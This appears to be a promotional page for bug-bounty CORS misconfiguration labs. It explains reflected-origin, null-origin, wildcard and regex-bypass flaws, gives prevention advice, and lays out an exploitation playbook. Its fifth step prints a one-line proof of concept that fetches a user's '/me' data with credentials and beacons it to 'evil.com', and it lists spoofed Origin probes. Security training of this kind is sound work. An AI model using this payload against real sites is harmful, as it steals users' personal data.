CORS labs
CORS Misconfiguration
What is CORS?
CORS Misconfigurations let malicious sites read API responses containing the victim user's sensitive data. It usually combines Origin reflection without an allowlist + Access-Control-Allow-Credentials: true, a lethal combination OWASP documents as critical.
Why practice CORS?
CORS is one of the most poorly understood fronts in backend development. Sloppy regexes (`/^https?://.*\.app\.com/`) and allowlist-less reflectors are surprisingly common. Typical bounty: $1,500-$10,000 for exfiltrating PII from the /me API.
What will you learn with the CORS labs?
You'll learn to audit Access-Control-Allow-Origin and -Allow-Credentials, the 5 classic misconfigs (reflection, null, subdomain wildcard, regex bypass, third-party trust), and build a PoC with `fetch(target, {credentials:'include'})` that proves real data theft.
Types of CORS we cover
- Reflected origin + credentials
The server reflects Origin and sends Allow-Credentials: true. Any site can read the logged-in API.
- Null origin trick
Origin: null is sent from sandboxed iframes and data: URLs. If the server allows it, it's cross-origin abusable.
- Subdomain wildcard
*.app.com allowed — an XSS or subdomain takeover on any sub lets you steal the main API.
- Regex bypass
Allowlist with a weak regex: `evil.com.app.com` or `app.com.evil.com` match if the regex isn't anchored with $.
How do you find and exploit CORS?
A practical playbook — from recon to proof of concept.
- 1
Inspect the CORS headers
Send a request with an arbitrary Origin and check the response. You care about Access-Control-Allow-Origin (ACAO) and Access-Control-Allow-Credentials (ACAC).
curl -s -I https://api.target/me -H 'Origin: https://evil.com' - 2
Detect Origin reflection + credentials
If ACAO returns your Origin and ACAC is true, any site can read the victim's authenticated responses. This is the critical case.
Access-Control-Allow-Origin: https://evil.com\nAccess-Control-Allow-Credentials: true - 3
Try the Origin: null trick
Some backends allow null. It's sent from a sandbox iframe or a data: URL, so it's exploitable.
Origin: null → ACAO: null? then vulnerable from a sandbox iframe - 4
Look for allowlist bypass
Unanchored regexes allow domains like target.com.evil.com or evil-target.com. Try suffixes and prefixes.
Origin: https://target.com.evil.com · Origin: https://eviltarget.com - 5
Build the exfil PoC
From your domain, fetch the sensitive endpoint with credentials:'include' and send the response to your server.
fetch('https://api.target/me',{credentials:'include'}).then(r=>r.text()).then(d=>navigator.sendBeacon('//evil.com',d))
Learn the theory
Academy: CORS Misconfiguration
Loading labs...
View in full catalog →Frequently asked questions
What is a CORS Misconfiguration?
It's an insecure Cross-Origin Resource Sharing setup that lets third-party sites read an API's responses with the victim's data. The classic case combines reflecting the attacker's Origin with Access-Control-Allow-Credentials: true.
How is a CORS misconfiguration exploited?
From an attacker site you fetch the victim's sensitive endpoint with credentials:'include'. If the server reflects the malicious Origin and allows credentials, the browser lets you read the response and you exfiltrate data like PII or tokens.
How do you find CORS flaws in bug bounty?
Resend requests with an arbitrary Origin and watch ACAO/ACAC. Look for Origin reflection, null acceptance, subdomain wildcards and unanchored regexes. The most valuable target is a /me or /account that returns personal data.
How do you prevent a CORS misconfiguration?
Use an explicit allowlist of origins (never reflect the received Origin), don't combine wildcard with credentials, never allow null, anchor domain comparisons properly, and avoid Access-Control-Allow-Credentials when it's not essential.
Difference between CORS misconfiguration and CSRF?
A misconfigured CORS lets you READ the cross-origin response (data theft). CSRF only lets you SEND a blind request (change state), without reading the response. That's why a loose CORS with credentials usually has more confidentiality impact.
Other related categories
- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Practice CORS in real labs
Every CORS lab replicates a real bug bounty report that got paid. Create your free account, start with the Academy and move to the labs whenever you want.
No card · free Academy · cancel anytime